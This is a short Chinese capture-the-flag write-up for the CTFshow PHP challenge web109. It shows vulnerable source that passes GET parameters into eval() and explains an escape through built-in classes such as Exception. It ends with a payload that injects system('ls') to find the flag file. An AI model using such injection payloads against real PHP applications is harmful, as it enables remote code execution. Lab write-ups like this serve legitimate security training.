CTFshow php特性 web109
生活随笔
收集整理的這篇文章主要介紹了
CTFshow php特性 web109
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
目錄
- 源碼
- 思路
- 題解
- 總結
源碼
<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-16 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-09-29 22:02:34*/highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){$v1 = $_GET['v1'];$v2 = $_GET['v2'];if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){eval("echo new $v1($v2());");}}?>思路
這題的話,發現對v1,v2沒什么限制,是不是就可以任意構造方法了,我們只要任意new一個內置類,后面的v2就逃逸出來了,但是大部分內置類都需要傳入參數,不然實例化的時候執行 __construct,沒有參數的話會導致執行失敗,程序就停止了.
怎么找符合條件的內部類呢,正常情況下類不能直接用echo輸出,除非類中有__toString(把類當作字符串使用時觸發),而且構造方法和返回結果一樣
下面的代碼我們可以控制__toString的返回值,只要滿足以下條件的內置類就沒問題了
class kradress{public $test;public function __construct($a){$this->test = $a;}public function __toString(){return $this->test;} }// 0=phpinfo 返回phpinfo頁面 eval("echo new kradress($_GET[0]);");出現報錯還是可以繼續執行的內置類也可以
以下內置類滿足條件
Exception //有報錯 ReflectionClass //需要傳入一個已有的類或者直接執行函數題解
解法有很多 `?v1=exception;system('ls');/*&v2=a`  訪問fl36dg.txt,拿到flag總結
水題
總結
以上是生活随笔為你收集整理的CTFshow php特性 web109的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: CTFshow php特性 web108
- 下一篇: CTFshow php特性 web110